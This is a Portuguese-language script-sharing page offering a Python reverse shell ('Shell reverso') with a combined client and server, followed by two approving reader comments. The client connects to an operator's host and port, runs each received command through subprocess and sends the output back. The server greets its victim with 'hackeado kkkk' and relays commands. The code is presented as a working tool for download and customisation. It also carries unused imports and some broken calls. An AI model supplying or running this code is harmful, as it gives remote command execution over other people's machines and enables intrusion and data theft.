Shell reverso em Python - cliente e servidor

Publicado por henrique (última atualização em 31/10/2020)

[ Hits: 1.773 ]

Homepage: naotem.com

Download 7192.netcatt.py




Um shell reverso com cliente e servidor básico para que você possa personalizar.

  



Esconder código-fonte

#!/usr/bin/env python3
import socket
import sys
import  subprocess
import threading
import tqdm
import os
import cv2
import numpy as np
import pyautogui



buffer = 4096
# display screen resolution, get it from your OS settings

# define the codec

# create the video write object

if len(sys.argv) < 2:
    sys.exit
    quit()
if sys.argv[1] == '-h':
    print("""[host]:[port]
-l = host
-p = porta
example ./netcatt.py -h 192.168.0.1 -p 2000""")
    sys.exit()
    quit()
print("""[host] [port]""")
a = input('clien, ou server: ')
if sys.argv[1] == '-l':
    host = str(sys.argv[2])
if sys.argv[3] == '-p':
    port = int(sys.argv[4])

s = socket.socket()


if a in 'Ss':

    s.bind((host,port))

    s.listen(5)
    print(f'listndo {host}:{port}')
    client_socket, client_adress = s.accept()
    message = 'hackeado kkkk'.encode()
    client_socket.send(message)
    
    while True:
        command = input('comando: ')

        client_socket.send(command.encode())
        if command.lower() == "exit":
            break
        results = client_socket.recv(buffer).decode()
        print(results)
    client_socket.close()
    s.close
if a in 'cC':
    s.connect((host, port))
    message = s.recv(buffer).decode()
    print('server: ', message)


    # start sending the file


    while True:
    # receive the command from the server
        command = s.recv(buffer).decode()
        if command.lower() == "exit":
            break

        output = subprocess.getoutput(command)
        # send the results back to the server
        s.send(output.encode())
        # close client connection
    s.close()
if s.close:
    print('-'*20, 'fim', '-'*18)








Scripts recomendados

Shell reverso em Python - cliente

Verifica conexão - Ping

Trocar IP em Python3

Rixy port scanner

Chatroom Server em Python


  

Comentários
[1] Comentário enviado por ElmiroDuarte em 01/11/2020 - 20:37h

Òtio script.

[2] Comentário enviado por maurixnovatrento em 04/11/2020 - 18:48h


muito legal.

___________________________________________________________
[code]Conhecimento não se Leva para o Túmulo.
https://github.com/MauricioFerrari-NovaTrento [/code]


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts